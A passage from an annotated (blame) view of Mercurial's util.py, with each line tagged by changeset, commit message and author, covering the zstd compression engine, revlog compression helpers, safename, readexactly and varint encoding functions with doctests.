f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3659
30451 41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3660 def compressstream(self, it, opts=None):
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3661 opts = opts or {}
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3662 # zstd level 3 is almost always significantly faster than zlib
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3663 # while providing no worse compression. It strikes a good balance
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3664 # between speed and compression.
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3665 level = opts.get('level', 3)
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3666
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3667 zstd = self._module
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3668 z = zstd.ZstdCompressor(level=level).compressobj()
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3669 for chunk in it:
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3670 data = z.compress(chunk)
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3671 if data:
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3672 yield data
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3673
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3674 yield z.flush()
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3675
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3676 def decompressorreader(self, fh):
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3677 return _ZstdCompressedStreamReader(fh, self._module)
30451 41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3678
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3679 class zstdrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3680 def __init__(self, zstd, level=3):
37496 1765ed63db40 util: drop write_content_size=True Gregory Szorc <gregory.szorc@gmail.com> parents: 37455 diff changeset	3681 # TODO consider omitting frame magic to save 4 bytes.
1765ed63db40 util: drop write_content_size=True Gregory Szorc <gregory.szorc@gmail.com> parents: 37455 diff changeset	3682 # This writes content sizes into the frame header. That is
1765ed63db40 util: drop write_content_size=True Gregory Szorc <gregory.szorc@gmail.com> parents: 37455 diff changeset	3683 # extra storage. But it allows a correct size memory allocation
1765ed63db40 util: drop write_content_size=True Gregory Szorc <gregory.szorc@gmail.com> parents: 37455 diff changeset	3684 # to hold the result.
1765ed63db40 util: drop write_content_size=True Gregory Szorc <gregory.szorc@gmail.com> parents: 37455 diff changeset	3685 self._cctx = zstd.ZstdCompressor(level=level)
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3686 self._dctx = zstd.ZstdDecompressor()
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3687 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3688 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3689
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3690 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3691 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3692 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3693 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3694
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3695 if insize < 50:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3696 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3697
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3698 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3699 compressed = self._cctx.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3700 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3701 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3702 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3703 else:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3704 z = self._cctx.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3705 chunks = []
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3706 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3707 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3708 pos2 = pos + self._compinsize
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3709 chunk = z.compress(data[pos:pos2])
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3710 if chunk:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3711 chunks.append(chunk)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3712 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3713 chunks.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3714
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3715 if sum(map(len, chunks)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3716 return ''.join(chunks)
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3717 return None
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3718
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3719 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3720 insize = len(data)
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3721
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3722 try:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3723 # This was measured to be faster than other streaming
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3724 # decompressors.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3725 dobj = self._dctx.decompressobj()
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3726 chunks = []
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3727 pos = 0
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3728 while pos < insize:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3729 pos2 = pos + self._decompinsize
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3730 chunk = dobj.decompress(data[pos:pos2])
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3731 if chunk:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3732 chunks.append(chunk)
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3733 pos = pos2
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3734 # Frame should be exhausted, so no finish() API.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3735
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3736 return ''.join(chunks)
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3737 except Exception as e:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3738 raise error.RevlogError(_('revlog decompress error: %s') %
37087 f0b6fbea00cf stringutil: bulk-replace call sites to point to new module Yuya Nishihara <yuya@tcha.org> parents: 37086 diff changeset	3739 stringutil.forcebytestr(e))
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3740
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3741 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3742 opts = opts or {}
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3743 return self.zstdrevlogcompressor(self._module,
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3744 level=opts.get('level', 3))
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3745
30451 41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3746 compengines.register(_zstdengine())
41a8106789ca util: implement zstd compression engine Gregory Szorc <gregory.szorc@gmail.com> parents: 30447 diff changeset	3747
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3748 def bundlecompressiontopics():
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3749 """Obtains a list of available bundle compressions for use in help."""
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3750 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3751 items = {}
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3752
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3753 # We need to format the docstring. So use a dummy object/type to hold it
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3754 # rather than mutating the original.
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3755 class docobject(object):
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3756 pass
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3757
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3758 for name in compengines:
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3759 engine = compengines[name]
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3760
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3761 if not engine.available():
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3762 continue
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3763
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3764 bt = engine.bundletype()
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3765 if not bt or not bt[0]:
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3766 continue
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3767
31811 d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis Augie Fackler <augie@google.com> parents: 31795 diff changeset	3768 doc = pycompat.sysstr('``%s``\n %s') % (
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis Augie Fackler <augie@google.com> parents: 31795 diff changeset	3769 bt[0], engine.bundletype.__doc__)
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3770
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3771 value = docobject()
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3772 value.__doc__ = doc
33839 ed04d7254a91 i18n: use saved object to get actual function information if available FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33820 diff changeset	3773 value._origdoc = engine.bundletype.__doc__
ed04d7254a91 i18n: use saved object to get actual function information if available FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33820 diff changeset	3774 value._origfunc = engine.bundletype
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3775
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3776 items[bt[0]] = value
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3777
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3778 return items
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3779
33841 fa7e30efe05a i18n: get translation entries for description of each compression engines FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33839 diff changeset	3780 i18nfunctions = bundlecompressiontopics().values()
fa7e30efe05a i18n: get translation entries for description of each compression engines FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33839 diff changeset	3781
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3782 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3783 dst = debugstacktrace
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3784
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3785 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3786 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3787 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3788
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3789 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3790 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3791 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3792 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3793
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3794 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3795 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3796 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3797 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3798 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3799
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3800 fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3801 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3802 return fn
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3803 for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3804 fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3805 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3806 return fn
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3807
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3808 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3809 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3810 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3811 if len(s) < n:
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3812 raise error.Abort(_("stream ended unexpectedly"
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3813 " (got %d bytes, expected %d)")
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3814 % (len(s), n))
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3815 return s
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3816
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3817 def uvarintencode(value):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3818 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3819
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3820 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3821 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3822 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3823 first.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3824
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3825 >>> uvarintencode(0)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3826 '\\x00'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3827 >>> uvarintencode(1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3828 '\\x01'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3829 >>> uvarintencode(127)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3830 '\\x7f'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3831 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3832 '\\xb9\\n'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3833 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3834 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3835 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3836 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3837 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3838 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3839 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3840 if value < 0:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3841 raise error.ProgrammingError('negative value for uvarint: %d'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3842 % value)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3843 bits = value & 0x7f
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3844 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3845 bytes = []
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3846 while value:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3847 bytes.append(pycompat.bytechr(0x80 \| bits))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3848 bits = value & 0x7f
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3849 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3850 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3851
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3852 return ''.join(bytes)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3853
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3854 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3855 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3856
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3857 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3858
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3859 >>> try:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3860 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3861 ... except ImportError:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3862 ... from io import BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3863 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3864 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3865 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3866 1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3867 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3868 127
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3869 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3870 1337
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3871 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3872 65536
